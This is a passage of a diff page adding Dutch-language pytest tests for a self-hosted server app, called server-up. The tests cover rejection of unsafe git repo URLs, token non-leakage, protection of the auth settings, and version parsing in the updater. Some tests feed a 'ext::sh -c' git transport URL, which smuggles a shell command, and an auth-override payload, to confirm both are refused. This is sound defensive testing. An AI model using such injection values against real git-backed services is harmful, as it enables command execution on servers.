csrf = login(client)
|
||||
r = client.post("/api/repos", json={"url": 'ext::sh -c "id"'},
|
||||
headers={"X-CSRF-Token": csrf})
|
||||
assert r.status_code == 400
|
||||
assert client.get("/api/repos").get_json() is not None
|
||||
|
||||
|
||||
def test_clone_weigert_ext_transport_uit_oude_config(env):
|
||||
"""Vangnet: ook een repo die al in config.json stond wordt geweigerd."""
|
||||
from core import git
|
||||
ok, msg = git.clone_or_pull({"id": "boos", "url": 'ext::sh -c "id"'})
|
||||
assert ok is False
|
||||
assert "niet-toegestane" in msg
|
||||
|
||||
|
||||
def test_repos_endpoint_lekt_geen_token(client, env):
|
||||
csrf = login(client)
|
||||
client.post("/api/repos",
|
||||
json={"url": "https://example.com/geheim.git", "token": "s3cr3t-token"},
|
||||
headers={"X-CSRF-Token": csrf})
|
||||
|
||||
body = client.get("/api/repos").get_data(as_text=True)
|
||||
assert "s3cr3t-token" not in body
|
||||
assert "has_token" in body
|
||||
|
||||
settings = client.get("/api/settings").get_data(as_text=True)
|
||||
assert "s3cr3t-token" not in settings
|
||||
|
||||
|
||||
def test_settings_put_wist_bestaand_token_niet(client, env):
|
||||
csrf = login(client)
|
||||
client.post("/api/repos",
|
||||
json={"id": "mijn", "url": "https://example.com/x.git", "token": "blijf-staan"},
|
||||
headers={"X-CSRF-Token": csrf})
|
||||
|
||||
repos = client.get("/api/repos").get_json()
|
||||
client.put("/api/settings", json={"APP_REPOS": repos},
|
||||
headers={"X-CSRF-Token": csrf})
|
||||
|
||||
stored = env["core"].load()["APP_REPOS"]
|
||||
mijn = next(r for r in stored if r["id"] == "mijn")
|
||||
assert mijn["token"] == "blijf-staan"
|
||||
|
||||
|
||||
def test_settings_put_kan_auth_niet_overschrijven(client, env):
|
||||
csrf = login(client)
|
||||
client.put("/api/settings",
|
||||
json={"AUTH": {"mode": "proxy", "users": {}, "trusted_proxies": ["0.0.0.0/0"]}},
|
||||
headers={"X-CSRF-Token": csrf})
|
||||
import core.auth as auth
|
||||
assert auth.settings()["mode"] == "local"
|
||||
assert "tester" in auth.settings()["users"]
|
||||
40
tests/test_updater.py
Normal file
40
tests/test_updater.py
Normal file
|
|
@ -0,0 +1,40 @@
|
|||
"""Semver-vergelijking van de update-check."""
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent.parent / "server-up"))
|
||||
|
||||
from core import updater
|
||||
|
||||
|
||||
@pytest.mark.parametrize("lager,hoger", [
|
||||
("0.4.6", "0.4.60"), # tweecijferig patchnummer (zie CHANGELOG v0.4.60)
|
||||
("0.4.60", "0.4.61"),
|
||||
("0.4.9", "0.5.0"),
|
||||
("1.0.0-beta1", "1.0.0"), # release wint van pre-release
|
||||
("1.0.0-beta1", "1.0.0-beta2"),
|
||||
("0.9.9", "1.0.0"),
|
||||
])
|
||||
def test_versievolgorde(lager, hoger):
|
||||
assert updater._parse(lager) < updater._parse(hoger)
|
||||
|
||||
|
||||
def test_v_prefix_maakt_niet_uit():
|
||||
assert updater._parse("v1.2.3") == updater._parse("1.2.3")
|
||||
|
||||
|
||||
@pytest.mark.parametrize("waarde", ["", "geen-versie", "1.2", None])
|
||||
def test_onparseerbare_versies(waarde):
|
||||
assert updater._parse(waarde) is None
|
||||
|
||||
|
||||
def test_check_zonder_url_is_uitgeschakeld(monkeypatch, tmp_path):
|
||||
monkeypatch.setenv("SU_CONFIG", str(tmp_path / "config.json"))
|
||||
import core as cfg
|
||||
cfg._path = tmp_path / "config.json"
|
||||
cfg.patch({"UPDATE_API_URL": ""})
|
||||
res = updater.check("0.4.60")
|
||||
assert res["enabled"] is False
|
||||
assert res["update_available"] is False
|
||||
Loading…
Reference in a new issue